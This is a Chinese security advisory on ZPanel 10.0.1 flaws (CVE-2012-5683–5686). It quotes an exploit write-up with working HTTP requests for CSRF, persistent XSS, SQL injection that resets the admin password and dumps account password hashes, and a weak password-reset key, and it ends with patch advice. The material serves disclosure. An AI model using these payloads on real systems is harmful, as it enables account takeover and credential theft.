安全研究
安全漏洞
ZPanel多个远程安全漏洞
发布日期:2012-11-05
更新日期:2014-08-18
受影响系统:
zpanelcp zpanelcp <= 10.0.1描述:
BUGTRAQ ID: 56400
CVE(CAN) ID: CVE-2012-5683,CVE-2012-5684,CVE-2012-5685,CVE-2012-5686
ZPanel是用PHP编写的开源虚拟主机控制面板,适用于Windows、POSIX (Linux, UNIX,MacOSX)系统服务器。
ZPanel 10.0.1及更早版本在实现上存在跨站请求伪造漏洞、HTML注入漏洞、SQL注入漏洞、安全功能绕过漏洞,远程攻击者可利用这些漏洞绕过某些安全限制、在受影响站点上下文中执行任意脚本代码、执行未授权操作、访问或修改数据等。
<*来源:pcsjj
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Date: 04/11/2012
# Exploit Author: pcsjj
# Vendor Homepage: http://www.zpanelcp.com/
# Version: 10.0.1
# Software Link: http://sourceforge.net/projects/zpanelcp/files/latest/download
# Downloads: 90,382
# CVE : CVE-2012-5683 (CSRF), CVE-2012-5684 (XSS), CVE-2012-5685(SQL Injection), CVE-2012-5686 (Password Reset)
# I'm going to guess there are some more here.
# 10/30/2012 - Contacted developers.
# 10/31/2012 - Developer states preference for reporting through bug tracker.
# 11/04/2012 - Developer confirms preference for reporting through bug tracker.
# 11/04/2012 - Vulnerability disclosed in bug tracker.
# Insufficient CSRF protection (CVE-2012-5683)
# All sensitive functions are lacking CSRF protection. One example below is
a request showing no authorization token is required for the creation of a
FTP user called "fun". This could also be used to deliver both XSS
(CVE-2012-5684) and SQLi (CVE-2012-5685) examples below.
#
http://192.168.1.100/?module=ftp_management&action=CreateFTP
POST /zpanel/?module=ftp_management&action=CreateFTP HTTP/1.1
Host: 192.168.1.100
Referer: http://192.168.1.100/?module=ftp_management
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
inFTPUsername=fun&inPassword=fun&inAccess=RW&inAutoHome=2&inDestination=&inDestination=&inSubmit=
# Persistent XSS (CVE-2012-5684)
# The "inFullname" parameter is vulnerable to XSS. User's real name is not
being sanitized as it displayed within the control panel.
#
http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings
POST /?module=my_account&action=UpdateAccountSettings HTTP/1.1
Host: 192.168.1.100
Referer:
http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
inFullname=Admin%3Cscript%3Ealert%28/fun/%29%3C%2Fscript%3E&inEmail=admin%
40example.com&inPhone=101&inLanguage=en&inAddress=Home&inPostalCode=101
# SQL Injection (CVE-2012-5685)
# "inEmailAddress" parameter is vulnerable to SQL injection. Since the
injection point is in an UPDATE statement its trivial to manipulate the
content of the database. For instance the zadmin password could be changed
to password.(5f4dcc3b5aa765d61d8327deb882cf99)
#
http://192.168.1.100/?module=manage_clients&action=UpdateClient
POST /?module=manage_clients&action=UpdateClient HTTP/1.1
Host: 192.168.182.128
Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=%27%2C+ac_pass_vc%3D%275f4dcc3b5aa765d61d8327deb882cf99%27%2C+ac_user_vc%3D%27zadmin%27+WHERE+ac_id_pk%3D1%3B--&inAddress=&inPostCode=&inPhone=101&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save
# One more sqli example
# A user can extract data from db though an UPDATE statement by using a
subquery. As long as we update a field that is displayed back to us. To
reproduce this example you need to know your ClientID which can be found in
the referring page's url as the value of "other". In this example we use
the email field to hold the result of the subquery. Usually you can't
select from the table you're updating but by creating a temporary table
called "fun" we can avoid that. Using group_concat we get all columns and
all rows as a single string so that it all fits nicely in a single field.
#
http://192.168.1.100/?module=manage_clients&action=UpdateClient
POST /?module=manage_clients&action=UpdateClient HTTP/1.1
Host: 192.168.1.100
Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5
#<!---- 5 is the Client ID or ac_id_pk
Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=reseller%
40example.com
%27%2C+ac_email_vc%3D%28select+group_concat%28ac_user_vc%2C+ac_pass_vc%29+from+%28select+*+from+x_accounts%29+as+fun%29+where+ac_id_pk%3D%275%27%3B--&inAddress=&inPostCode=&inPhone=%2B44%281473%29+000+000&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save
# Password Reset Weakness, Insufficient entropy (CVE-2012-5686)
# "randomkey" is not sufficiently random. By knowing server time an
attacker could reset a password and guess the key within a relatively low
number of requests. If the attacker can receive a password reset email for
any account on the system (demo account?) the number of attempts required
to guess reset key for another user (zadmin) can be greatly reduced. Since
the zadmin default admin account is "hard coded" it is especially at risk
to this password reset weakness. If you change zadmin username in the
zpanel_core db my experience is that you cannot load zpanel control panel.
#
# ZPanel source code for [INSTALL_DIR]/inc/init.inc.php
38 $randomkey = sha1(microtime());
46 $zdbh->exec("UPDATE x_accounts SET ac_resethash_tx = '" .
$randomkey . "' WHERE ac_id_pk=" . $result['ac_id_pk'] . "");
50 $phpmailer->Body = "Hi " . $result['ac_user_vc'] . ",
51 You or somebody pretending to be you has requested a password reset
link to be sent for your web hosting control panel login at: " .
ctrl_options::GetOption('cp_url') . "
52 If you wish to proceed with the password reset on your account
please use this link below to be taken to the password reset page.
53 http://" . ctrl_options::GetOption('zpanel_domain') . "/?resetkey="
. $randomkey .
建议:
厂商补丁:
zpanelcp
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.zpanelcp.com/
浏览次数:2366
严重程度:0(网友投票)
绿盟科技给您安全的保障
